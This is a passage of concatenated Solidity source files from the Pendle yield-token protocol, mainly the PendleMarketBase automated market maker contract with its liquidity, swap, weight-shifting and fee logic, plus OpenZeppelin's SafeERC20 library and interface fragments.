* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "./IPendleForge.sol";
interface IPendleCompoundForge is IPendleForge {
/**
@dev directly get the exchangeRate from Compound
*/
function getExchangeRate(address _underlyingAsset) external returns (uint256);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "../../interfaces/IPendleData.sol";
import "../../interfaces/IPendleMarket.sol";
import "../../interfaces/IPendleForge.sol";
import "../../interfaces/IPendleMarketFactory.sol";
import "../../interfaces/IPendleYieldToken.sol";
import "../../interfaces/IPendlePausingManager.sol";
import "../../periphery/WithdrawableV2.sol";
import "../../tokens/PendleBaseToken.sol";
import "../../libraries/MarketMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
@dev HIGH LEVEL PRINCIPAL:
* So most of the functions in market is only callable by Router, except view/pure functions.
If a function is non view/pure and is callable by anyone, it must be explicitly stated so
* Market will not do any yieldToken/baseToken transfer but instead will fill in the transfer array
and router will do them instead. (This is to reduce the number of approval users need to do)
* mint, burn will be done directly with users
*/
abstract contract PendleMarketBase is IPendleMarket, PendleBaseToken, WithdrawableV2 {
using Math for uint256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
bytes32 public immutable override factoryId;
address internal immutable forge;
address public immutable override token;
address public immutable override xyt;
bool public bootstrapped;
string private constant NAME = "Pendle Market";
string private constant SYMBOL = "PENDLE-LPT";
uint256 private constant MINIMUM_LIQUIDITY = 10**3;
uint8 private constant DECIMALS = 18;
uint256 private constant LN_PI_PLUSONE = 1562071538258; // this is equal to Math.ln(Math.PI_PLUSONE,Math.RONE)
uint256 internal constant MULTIPLIER = 10**20;
// variables for LP interests calc
uint256 public paramL;
uint256 public lastNYield;
mapping(address => uint256) internal lastParamL;
mapping(address => uint256) internal dueInterests;
// paramK used for mintProtocolFee. ParamK = xytBal ^ xytWeight * tokenBal ^ tokenW
uint256 public lastParamK;
// the last block that we do curveShift
uint256 public lastCurveShiftBlock;
/*
* The reserveData will consist of 3 variables: xytBalance, tokenBalance & xytWeight
To save gas, we will pack these 3 variables into a single uint256 variable as follows:
Bit 148 -> 255: xytBalance
Bit 40 -> 147: tokenBalance
Bit 0 -> 39: xytWeight
tokenWeight = Math.RONE - xytWeight
Refer to writeReserveData and readReserveData for more details
*/
uint256 private reserveData;
uint256 private lastRelativePrice = Math.RONE;
uint256 private constant MASK_148_TO_255 = type(uint256).max ^ ((1 << 148) - 1);
uint256 private constant MASK_40_TO_147 = ((1 << 148) - 1) ^ ((1 << 40) - 1);
uint256 private constant MASK_0_TO_39 = ((1 << 40) - 1);
uint256 private constant MAX_TOKEN_RESERVE_BALANCE = (1 << 108) - 1;
/*
* the lockStartTime is set at the bootstrap time of the market, and will not be changed for the entire market duration
Once the market has been locked, only removeMarketLiquidityDual is allowed
* Why lock the market? Because when the time is very close to the end of the market, the ratio of weights are either
extremely big or small, which leads to high precision error
*/
uint256 public lockStartTime;
/* these variables are used often, so we get them once in the constructor
and save gas for retrieving them afterwards */
bytes32 private immutable forgeId;
address internal immutable underlyingAsset;
IERC20 private immutable underlyingYieldToken;
IPendleData private immutable data;
IPendlePausingManager private immutable pausingManager;
uint256 private immutable xytStartTime;
constructor(
address _governanceManager,
address _xyt,
address _token
)
PendleBaseToken(
address(IPendleYieldToken(_xyt).forge().router()),
NAME,
SYMBOL,
DECIMALS,
block.timestamp,
IPendleYieldToken(_xyt).expiry()
)
PermissionsV2(_governanceManager)
{
require(_xyt != address(0), "ZERO_ADDRESS");
require(_token != address(0), "ZERO_ADDRESS");
require(_token != IPendleYieldToken(_xyt).underlyingYieldToken(), "INVALID_TOKEN_PAIR");
IPendleForge _forge = IPendleYieldToken(_xyt).forge();
forge = address(_forge);
xyt = _xyt;
token = _token;
forgeId = _forge.forgeId();
underlyingAsset = IPendleYieldToken(_xyt).underlyingAsset();
underlyingYieldToken = IERC20(IPendleYieldToken(_xyt).underlyingYieldToken());
data = _forge.data();
pausingManager = _forge.data().pausingManager();
xytStartTime = IPendleYieldToken(_xyt).start();
factoryId = IPendleMarketFactory(msg.sender).marketFactoryId();
address _router = address(_forge.router());
IERC20(_xyt).safeApprove(_router, type(uint256).max);
IERC20(_token).safeApprove(_router, type(uint256).max);
}
// INVARIANT: All write functions, except for ERC20's approve(), increaseAllowance(), decreaseAllowance()
// must go through this check. This means that minting/burning/transferring of LP tokens is paused too.
function checkNotPaused() internal {
(bool paused, ) = pausingManager.checkMarketStatus(factoryId, address(this));
require(!paused, "MARKET_PAUSED");
}
/// Refer to the docs for reserveData
function readReserveData()
internal
view
returns (
uint256 xytBalance,
uint256 tokenBalance,
uint256 xytWeight,
uint256 tokenWeight
)
{
xytBalance = (reserveData & MASK_148_TO_255) >> 148;
tokenBalance = (reserveData & MASK_40_TO_147) >> 40;
xytWeight = reserveData & MASK_0_TO_39;
tokenWeight = Math.RONE - xytWeight;
}
/// parse an asset address to tokenReserve
/// _asset will only be either xyt or baseToken
function parseTokenReserveData(address _asset)
internal
view
returns (TokenReserve memory tokenReserve)
{
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, uint256 tokenWeight) =
readReserveData();
if (_asset == xyt) {
tokenReserve = TokenReserve(xytWeight, xytBalance);
} else {
tokenReserve = TokenReserve(tokenWeight, tokenBalance);
}
}
/// pass in a tokenReserve & the type of token (through _asset), update the reserveData
function updateReserveData(TokenReserve memory tokenReserve, address _asset) internal {
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, uint256 tokenWeight) =
readReserveData();
// Basically just update the weight & bal of the corresponding token & write the reserveData again
if (_asset == xyt) {
(xytWeight, xytBalance) = (tokenReserve.weight, tokenReserve.balance);
} else {
(tokenWeight, tokenBalance) = (tokenReserve.weight, tokenReserve.balance);
xytWeight = Math.RONE.sub(tokenWeight);
}
writeReserveData(xytBalance, tokenBalance, xytWeight);
}
/// Refer to the docs for reserveData
function writeReserveData(
uint256 xytBalance,
uint256 tokenBalance,
uint256 xytWeight
) internal {
require(0 < xytBalance && xytBalance <= MAX_TOKEN_RESERVE_BALANCE, "YT_BALANCE_ERROR");
require(
0 < tokenBalance && tokenBalance <= MAX_TOKEN_RESERVE_BALANCE,
"TOKEN_BALANCE_ERROR"
);
reserveData = (xytBalance << 148) | (tokenBalance << 40) | xytWeight;
}
// Only the marketEmergencyHandler can call this function, when its in emergencyMode
// this will allow a spender to spend the whole balance of the specified tokens
// the spender should ideally be a contract with logic for users to withdraw out their funds.
function setUpEmergencyMode(address spender) external override {
(, bool emergencyMode) = pausingManager.checkMarketStatus(factoryId, address(this));
require(emergencyMode, "NOT_EMERGENCY");
(address marketEmergencyHandler, , ) = pausingManager.marketEmergencyHandler();
require(msg.sender == marketEmergencyHandler, "NOT_EMERGENCY_HANDLER");
IERC20(xyt).safeApprove(spender, type(uint256).max);
IERC20(token).safeApprove(spender, type(uint256).max);
IERC20(underlyingYieldToken).safeApprove(spender, type(uint256).max);
}
function bootstrap(
address user,
uint256 initialXytLiquidity,
uint256 initialTokenLiquidity
) external override returns (PendingTransfer[2] memory transfers, uint256 exactOutLp) {
require(msg.sender == address(router), "ONLY_ROUTER");
checkNotPaused();
require(!bootstrapped, "ALREADY_BOOTSTRAPPED");
// market's lock params should be initialized at bootstrap time
_initializeLock();
// at the start of the market, xytWeight = tokenWeight = Math.RONE / 2
// As such, we will write it into the reserveData
writeReserveData(initialXytLiquidity, initialTokenLiquidity, Math.RONE / 2);
_updateLastParamK(); // update paramK since this is the first time it's set
emit Sync(initialXytLiquidity, Math.RONE / 2, initialTokenLiquidity);
_afterBootstrap();
// Taking inspiration from Uniswap, we will keep MINIMUM_LIQUIDITY in the market to make sure the market is always non-empty
exactOutLp = Math.sqrt(initialXytLiquidity.mul(initialTokenLiquidity)).sub(
MINIMUM_LIQUIDITY
);
// No one should possibly own a specific address like this 0x1
// We mint to 0x1 instead of 0x0 because sending to 0x0 is not permitted
_mint(address(0x1), MINIMUM_LIQUIDITY);
_mint(user, exactOutLp);
transfers[0].amount = initialXytLiquidity;
transfers[0].isOut = false;
transfers[1].amount = initialTokenLiquidity;
transfers[1].isOut = false;
lastCurveShiftBlock = block.number;
bootstrapped = true;
}
/**
* @notice Join the market by specifying the desired (and max) amount of xyts
* and tokens to put in.
* @param _desiredXytAmount amount of XYTs user wants to contribute
* @param _desiredTokenAmount amount of tokens user wants to contribute
* @param _xytMinAmount min amount of XYTs user wants to be able to contribute
* @param _tokenMinAmount min amount of tokens user wants to be able to contribute
* @dev no curveShift to save gas because this function
doesn't depend on weights of tokens
* Note: the logic of this function is similar to that of Uniswap
* Conditions:
* checkAddRemoveSwapClaimAllowed(false) is true
*/
function addMarketLiquidityDual(
address user,
uint256 _desiredXytAmount,
uint256 _desiredTokenAmount,
uint256 _xytMinAmount,
uint256 _tokenMinAmount
) external override returns (PendingTransfer[2] memory transfers, uint256 lpOut) {
checkAddRemoveSwapClaimAllowed(false);
// mint protocol fees before k is changed by a non-swap event (add liquidity)
_mintProtocolFees();
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData();
uint256 amountXytUsed;
uint256 amountTokenUsed = _desiredXytAmount.mul(tokenBalance).div(xytBalance);
if (amountTokenUsed <= _desiredTokenAmount) {
// using _desiredXytAmount to determine the LP and add liquidity
require(amountTokenUsed >= _tokenMinAmount, "INSUFFICIENT_TOKEN_AMOUNT");
amountXytUsed = _desiredXytAmount;
lpOut = _desiredXytAmount.mul(totalSupply()).div(xytBalance);
} else {
// using _desiredTokenAmount to determine the LP and add liquidity
amountXytUsed = _desiredTokenAmount.mul(xytBalance).div(tokenBalance);
require(amountXytUsed >= _xytMinAmount, "INSUFFICIENT_YT_AMOUNT");
amountTokenUsed = _desiredTokenAmount;
lpOut = _desiredTokenAmount.mul(totalSupply()).div(tokenBalance);
}
xytBalance = xytBalance.add(amountXytUsed);
transfers[0].amount = amountXytUsed;
transfers[0].isOut = false;
tokenBalance = tokenBalance.add(amountTokenUsed);
transfers[1].amount = amountTokenUsed;
transfers[1].isOut = false;
writeReserveData(xytBalance, tokenBalance, xytWeight);
_updateLastParamK(); // update paramK since it has changed due to a non-swap event
// Mint LP directly to the user
_mint(user, lpOut);
emit Sync(xytBalance, xytWeight, tokenBalance);
}
/**
* @notice Join the market by deposit token (single) and get liquidity token
* need to specify the desired amount of contributed token (xyt or token)
* and minimum output liquidity token
* @param _inToken address of token (xyt or token) user wants to contribute
* @param _exactIn amount of tokens (xyt or token) user wants to contribute
* @param _minOutLp min amount of liquidity token user expect to receive
* @dev curveShift needed since function operation relies on weights
*/
function addMarketLiquiditySingle(
address user,
address _inToken,
uint256 _exactIn,
uint256 _minOutLp
) external override returns (PendingTransfer[2] memory transfers, uint256 exactOutLp) {
checkAddRemoveSwapClaimAllowed(false);
// mint protocol fees before k is changed by a non-swap event (add liquidity)
_mintProtocolFees();
_curveShift();
/*
* Note that in theory we could do another _mintProtocolFee in this function
to take a portion of the swap fees for the implicit swap of this operation
* However, we have decided to not charge the protocol fees on the swap fees for this
operation.
* The user will still pay the swap fees, just that all the swap fees in the implicit swap
will all go back to the market (and shared among the LP holders)
*/
TokenReserve memory inTokenReserve = parseTokenReserveData(_inToken);
uint256 totalLp = totalSupply();
// Calc out amount of LP token.
exactOutLp = MarketMath._calcOutAmountLp(
_exactIn,
inTokenReserve,
data.swapFee(),
totalLp
);
require(exactOutLp >= _minOutLp, "HIGH_LP_OUT_LIMIT");
// Update reserves and operate underlying LP and inToken.
inTokenReserve.balance = inTokenReserve.balance.add(_exactIn);
transfers[0].amount = _exactIn;
transfers[0].isOut = false;
// repack data
updateReserveData(inTokenReserve, _inToken);
_updateLastParamK(); // update paramK since it has changed not due to swap
// Mint and push LP token.
_mint(user, exactOutLp);
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData(); // unpack data
emit Sync(xytBalance, xytWeight, tokenBalance);
}
/**
* @notice Exit the market by putting in the desired amount of LP tokens
* and getting back XYT and pair tokens.
* @dev no curveShift to save gas because this function
doesn't depend on weights of tokens
* @dev this function will never be locked since we always let users withdraw
their funds. That's why we skip time check in checkAddRemoveSwapClaimAllowed
*/
function removeMarketLiquidityDual(
address user,
uint256 _inLp,
uint256 _minOutXyt,
uint256 _minOutToken
) external override returns (PendingTransfer[2] memory transfers) {
checkAddRemoveSwapClaimAllowed(true);
// mint protocol fees before k is changed by a non-swap event (remove liquidity)
_mintProtocolFees();
uint256 totalLp = totalSupply();
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData(); // unpack data
// Calc and withdraw xyt token.
uint256 xytOut = _inLp.mul(xytBalance).div(totalLp);
uint256 tokenOut = _inLp.mul(tokenBalance).div(totalLp);
require(tokenOut >= _minOutToken, "INSUFFICIENT_TOKEN_OUT");
require(xytOut >= _minOutXyt, "INSUFFICIENT_YT_OUT");
xytBalance = xytBalance.sub(xytOut);
tokenBalance = tokenBalance.sub(tokenOut);
transfers[0].amount = xytOut;
transfers[0].isOut = true;
transfers[1].amount = tokenOut;
transfers[1].isOut = true;
writeReserveData(xytBalance, tokenBalance, xytWeight); // repack data
_updateLastParamK(); // update paramK since it has changed due to a non-swap event
_burn(user, _inLp);
emit Sync(xytBalance, xytWeight, tokenBalance);
}
/**
* @notice Exit the market by putting in the desired amount of LP tokens
* and getting back XYT or pair tokens.
* @param _outToken address of the token that user wants to get back
* @param _inLp the exact amount of liquidity token that user wants to put back
* @param _minOutAmountToken the minimum of token that user wants to get back
* @dev curveShift needed since function operation relies on weights
*/
function removeMarketLiquiditySingle(
address user,
address _outToken,
uint256 _inLp,
uint256 _minOutAmountToken
) external override returns (PendingTransfer[2] memory transfers) {
checkAddRemoveSwapClaimAllowed(false);
// mint protocol fees before k is changed by a non-swap event (remove liquidity)
_mintProtocolFees();
_curveShift();
/*
* Note that in theory we should do another _mintProtocolFee in this function
since this add single involves an implicit swap operation
* The reason we don't do that is same as in addMarketLiquiditySingle
*/
TokenReserve memory outTokenReserve = parseTokenReserveData(_outToken);
uint256 swapFee = data.swapFee();
uint256 totalLp = totalSupply();
uint256 outAmountToken =
MarketMath._calcOutAmountToken(outTokenReserve, totalLp, _inLp, swapFee);
require(outAmountToken >= _minOutAmountToken, "INSUFFICIENT_TOKEN_OUT");
outTokenReserve.balance = outTokenReserve.balance.sub(outAmountToken);
transfers[0].amount = outAmountToken;
transfers[0].isOut = true;
updateReserveData(outTokenReserve, _outToken);
_updateLastParamK(); // update paramK since it has changed by a non-swap event
_burn(user, _inLp);
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData(); // unpack data
emit Sync(xytBalance, xytWeight, tokenBalance);
}
function swapExactIn(
address inToken,
uint256 inAmount,
address outToken,
uint256 minOutAmount
) external override returns (uint256 outAmount, PendingTransfer[2] memory transfers) {
checkAddRemoveSwapClaimAllowed(false);
// We only need to do _mintProtocolFees if there is a curveShift that follows
if (checkNeedCurveShift()) {
_mintProtocolFees();
_curveShift();
_updateLastParamK(); // update paramK since it has changed due to a non-swap event
}
TokenReserve memory inTokenReserve = parseTokenReserveData(inToken);
TokenReserve memory outTokenReserve = parseTokenReserveData(outToken);
// calc out amount of token to be swapped out
outAmount = MarketMath._calcExactOut(
inTokenReserve,
outTokenReserve,
inAmount,
data.swapFee()
);
require(outAmount >= minOutAmount, "HIGH_OUT_LIMIT");
inTokenReserve.balance = inTokenReserve.balance.add(inAmount);
outTokenReserve.balance = outTokenReserve.balance.sub(outAmount);
// repack data
updateReserveData(inTokenReserve, inToken);
updateReserveData(outTokenReserve, outToken);
// no update paramK since it has changed but due to swap
transfers[0].amount = inAmount;
transfers[0].isOut = false;
transfers[1].amount = outAmount;
transfers[1].isOut = true;
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData(); // unpack data
emit Sync(xytBalance, xytWeight, tokenBalance);
}
function swapExactOut(
address inToken,
uint256 maxInAmount,
address outToken,
uint256 outAmount
) external override returns (uint256 inAmount, PendingTransfer[2] memory transfers) {
checkAddRemoveSwapClaimAllowed(false);
// We only need to do _mintProtocolFees if there is a curveShift that follows
if (checkNeedCurveShift()) {
_mintProtocolFees();
_curveShift();
_updateLastParamK(); // update paramK since it has changed due to a non-swap event
}
TokenReserve memory inTokenReserve = parseTokenReserveData(inToken);
TokenReserve memory outTokenReserve = parseTokenReserveData(outToken);
// Calc in amount.
inAmount = MarketMath._calcExactIn(
inTokenReserve,
outTokenReserve,
outAmount,
data.swapFee()
);
require(inAmount <= maxInAmount, "LOW_IN_LIMIT");
inTokenReserve.balance = inTokenReserve.balance.add(inAmount);
outTokenReserve.balance = outTokenReserve.balance.sub(outAmount);
// repack data
updateReserveData(inTokenReserve, inToken);
updateReserveData(outTokenReserve, outToken);
// no update paramK since it has changed but due to swap
transfers[0].amount = inAmount;
transfers[0].isOut = false;
transfers[1].amount = outAmount;
transfers[1].isOut = true;
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, ) = readReserveData(); // unpack data
emit Sync(xytBalance, xytWeight, tokenBalance);
}
/**
* @notice for user to claim their interest as holder of underlyingYield token
* @param user user's address
* @dev only can claim through router (included in checkAddRemoveSwapClaimAllowed)
* We skip time check in checkAddRemoveSwapClaimAllowed because users can always claim interests
* Since the Router has already had Reentrancy protection, we don't need one here
*/
function redeemLpInterests(address user) external override returns (uint256 interests) {
checkAddRemoveSwapClaimAllowed(true);
interests = _beforeTransferDueInterests(user);
_safeTransferYieldToken(user, interests);
}
/**
* @notice get the most up-to-date reserveData of the market by doing a dry curveShift
*/
function getReserves()
external
view
override
returns (
uint256 xytBalance,
uint256 xytWeight,
uint256 tokenBalance,
uint256 tokenWeight,
uint256 currentBlock
)
{
(xytBalance, tokenBalance, xytWeight, tokenWeight) = readReserveData();
if (checkNeedCurveShift()) {
(xytWeight, tokenWeight, ) = _updateWeightDry();
}
currentBlock = block.number;
}
/**
* @notice update the weights of the market
*/
function _updateWeight() internal {
(uint256 xytBalance, uint256 tokenBalance, , ) = readReserveData(); // unpack data
(uint256 xytWeightUpdated, , uint256 currentRelativePrice) = _updateWeightDry();
writeReserveData(xytBalance, tokenBalance, xytWeightUpdated); // repack data
lastRelativePrice = currentRelativePrice;
}
// do the weight update calculation but don't update the token reserve memory
function _updateWeightDry()
internal
view
returns (
uint256 xytWeightUpdated,
uint256 tokenWeightUpdated,
uint256 currentRelativePrice
)
{
// get current timestamp currentTime
uint256 currentTime = block.timestamp;
uint256 endTime = expiry;
uint256 startTime = xytStartTime;
uint256 duration = endTime - startTime;
(, , uint256 xytWeight, uint256 tokenWeight) = readReserveData(); // unpack data
uint256 timeLeft;
if (endTime >= currentTime) {
timeLeft = endTime - currentTime;
} else {
timeLeft = 0;
}
// get time_to_mature = (endTime - currentTime) / (endTime - startTime)
uint256 timeToMature = Math.rdiv(timeLeft * Math.RONE, duration * Math.RONE);
// get price for now = ln(3.14 * t + 1) / ln(4.14)
currentRelativePrice = Math.rdiv(
Math.ln(Math.rmul(Math.PI, timeToMature).add(Math.RONE), Math.RONE),
LN_PI_PLUSONE
);
uint256 r = Math.rdiv(currentRelativePrice, lastRelativePrice);
require(Math.RONE >= r, "MATH_ERROR");
uint256 thetaNumerator = Math.rmul(Math.rmul(xytWeight, tokenWeight), Math.RONE.sub(r));
uint256 thetaDenominator = Math.rmul(r, xytWeight).add(tokenWeight);
// calc weight changes theta
uint256 theta = Math.rdiv(thetaNumerator, thetaDenominator);
xytWeightUpdated = xytWeight.sub(theta);
tokenWeightUpdated = tokenWeight.add(theta);
}
/*
To add/remove/swap/claim, the market must have been
* bootstrapped
* only Router can call it
* if the function is not removeMarketLiquidityDual, then must check the market hasn't been locked yet
*/
function checkAddRemoveSwapClaimAllowed(bool skipOpenCheck) internal {
checkNotPaused();
require(bootstrapped, "NOT_BOOTSTRAPPED");
require(msg.sender == address(router), "ONLY_ROUTER");
if (!skipOpenCheck) {
require(block.timestamp < lockStartTime, "MARKET_LOCKED");
}
}
//curve shift will be called before any calculation using weight
//Note: there must be a _mintProtocolFees() before calling _curveShift()
function _curveShift() internal {
if (!checkNeedCurveShift()) return;
_updateWeight();
lastCurveShiftBlock = block.number;
}
/**
@notice To be called before the dueInterest of any users is redeemed
*/
function _beforeTransferDueInterests(address user) internal returns (uint256 amountOut) {
_updateDueInterests(user);
amountOut = dueInterests[user];
dueInterests[user] = 0;
// Use subMax0 to handle the extreme case of the market lacking a few wei of tokens to send out
lastNYield = lastNYield.subMax0(amountOut);
}
/**
* We will only updateParamL if the normalisedIncome / exchangeRate has increased more than a delta
* This delta is expected to be very small
*/
function checkNeedUpdateParamL() internal returns (bool) {
return _getIncomeIndexIncreaseRate() > data.interestUpdateRateDeltaForMarket();
}
/**
* We will only do curveShift() once every curveShiftBlockDelta blocks
*/
function checkNeedCurveShift() internal view returns (bool) {
return block.number > lastCurveShiftBlock.add(data.curveShiftBlockDelta());
}
/**
* @notice use to updateParamL. Must only be called by _updateDueInterests
* ParamL can be thought of as an always-increase incomeIndex for 1 LP
Consideration:
* Theoretically we have to updateParamL whenever the _updateDueInterests is called, since the external incomeIndex
(normalisedIncome/exchangeRate) is always increasing, and there are always interests to be claimed
* Yet, if we do so, the amount of interests to be claimed maybe negligible while the amount of gas spent is
tremendous (100k~200k last time we checked) => Caching is actually beneficial to user
* The users may lose some negligible amount of interest when they do removeLiquidity or transfer LP to others
(to be exact, they will lose NO MORE THAN interestUpdateRateDeltaForMarket%). In exchange, they will save
a lot of gas.
* If we assume the yearly interest rate is 10%, and we would like to only update the market's interest every one hour,
interestUpdateRateDeltaForMarket% = 1.10 ^ (1/ (365*24)) - 1 = 0.00108802167011 %
* The correctness of caching can be thought of like this: We just pretend that there are only income once in a while,
and when that income come, they will come in large amount, and we will distribute them fairly to all users
*/
function _updateParamL() internal {
if (!checkNeedUpdateParamL()) return;
// redeem the interest from XYT
router.redeemDueInterests(forgeId, underlyingAsset, expiry, address(this));
uint256 currentNYield = underlyingYieldToken.balanceOf(address(this));
(uint256 firstTerm, uint256 paramR) = _getFirstTermAndParamR(currentNYield);
uint256 secondTerm;
/*
* paramR can be thought of as the amount of interest earned by the market
(but excluding the compound effect). paramR is normally small & totalSupply is
normally much larger so we need to multiply them with MULTIPLIER
*/
if (totalSupply() != 0) secondTerm = paramR.mul(MULTIPLIER).div(totalSupply());
// firstTerm & secondTerm are not the best names, but please refer to AMM specs
// to understand the meaning of these 2 params
paramL = firstTerm.add(secondTerm);
lastNYield = currentNYield;
}
// before we send LPs, we need to update LP interests for both the to and from addresses
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override {
super._beforeTokenTransfer(from, to, amount);
checkNotPaused();
if (from != address(0)) _updateDueInterests(from);
if (to != address(0)) _updateDueInterests(to);
}
/**
@dev Must be the only way to transfer aToken/cToken out
// Please refer to _safeTransfer of PendleForgeBase for the rationale of this function
*/
function _safeTransferYieldToken(address _user, uint256 _amount) internal {
if (_amount == 0) return;
_amount = Math.min(_amount, underlyingYieldToken.balanceOf(address(this)));
underlyingYieldToken.safeTransfer(_user, _amount);
}
/**
* @notice _initialize the lock of the market. Must only be called in bootstrap
*/
function _initializeLock() internal {
uint256 duration = expiry.sub(xytStartTime); // market expiry = xyt expiry
uint256 lockDuration = duration.mul(data.lockNumerator()).div(data.lockDenominator());
lockStartTime = expiry.sub(lockDuration);
}
/**
@notice _mint new LP for protocol fee. Mint them directly to the treasury
@dev this function should be very similar to Uniswap
*/
function _mintProtocolFees() internal {
uint256 feeRatio = data.protocolSwapFee();
uint256 _lastParamK = lastParamK;
if (feeRatio > 0) {
if (_lastParamK != 0) {
uint256 k = _calcParamK();
if (k > _lastParamK) {
uint256 numer = totalSupply().mul(k.sub(_lastParamK));
uint256 denom = Math.RONE.sub(feeRatio).mul(k).div(feeRatio).add(_lastParamK);
uint256 liquidity = numer / denom;
address treasury = data.treasury();
if (liquidity > 0) {
_mint(treasury, liquidity);
}
}
}
} else if (_lastParamK != 0) {
// if fee is turned off, we need to reset lastParamK as well
lastParamK = 0;
}
}
/**
Equation for paramK: paramK = xytBal ^ xytWeight * tokenBal ^ tokenW
* @dev must be called whenever the above equation changes but not due to a swapping action
I.e: after add/remove/bootstrap liquidity or curveShift
*/
function _updateLastParamK() internal {
if (data.protocolSwapFee() == 0) return;
lastParamK = _calcParamK();
}
/**
* @notice calc the value of paramK. The formula for this can be referred in the AMM specs
*/
function _calcParamK() internal view returns (uint256 paramK) {
(uint256 xytBalance, uint256 tokenBalance, uint256 xytWeight, uint256 tokenWeight) =
readReserveData();
paramK = Math
.rpow(xytBalance.toFP(), xytWeight)
.rmul(Math.rpow(tokenBalance.toFP(), tokenWeight))
.toInt();
}
function _allowedToWithdraw(address _token) internal view override returns (bool allowed) {
allowed =
_token != xyt &&
_token != token &&
_token != address(this) &&
_token != address(underlyingYieldToken);
}
function _afterBootstrap() internal virtual;
/**
@notice update the LP interest for users (before their balances of LP changes)
@dev This must be called before any transfer / mint/ burn action of LP
(and this has been implemented in the beforeTokenTransfer of this contract)
*/
function _updateDueInterests(address user) internal virtual;
/// @notice Get params to update paramL. Must only be called by updateParamL
function _getFirstTermAndParamR(uint256 currentNYield)
internal
virtual
returns (uint256 firstTerm, uint256 paramR);
/// @notice Get the increase rate of normalisedIncome / exchangeRate
function _getIncomeIndexIncreaseRate() internal virtual returns (uint256 increaseRate);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "./IPendleRouter.sol";
import "./IPendleRewardManager.sol";
import "./IPendleYieldContractDeployer.sol";
import "./IPendleData.sol";
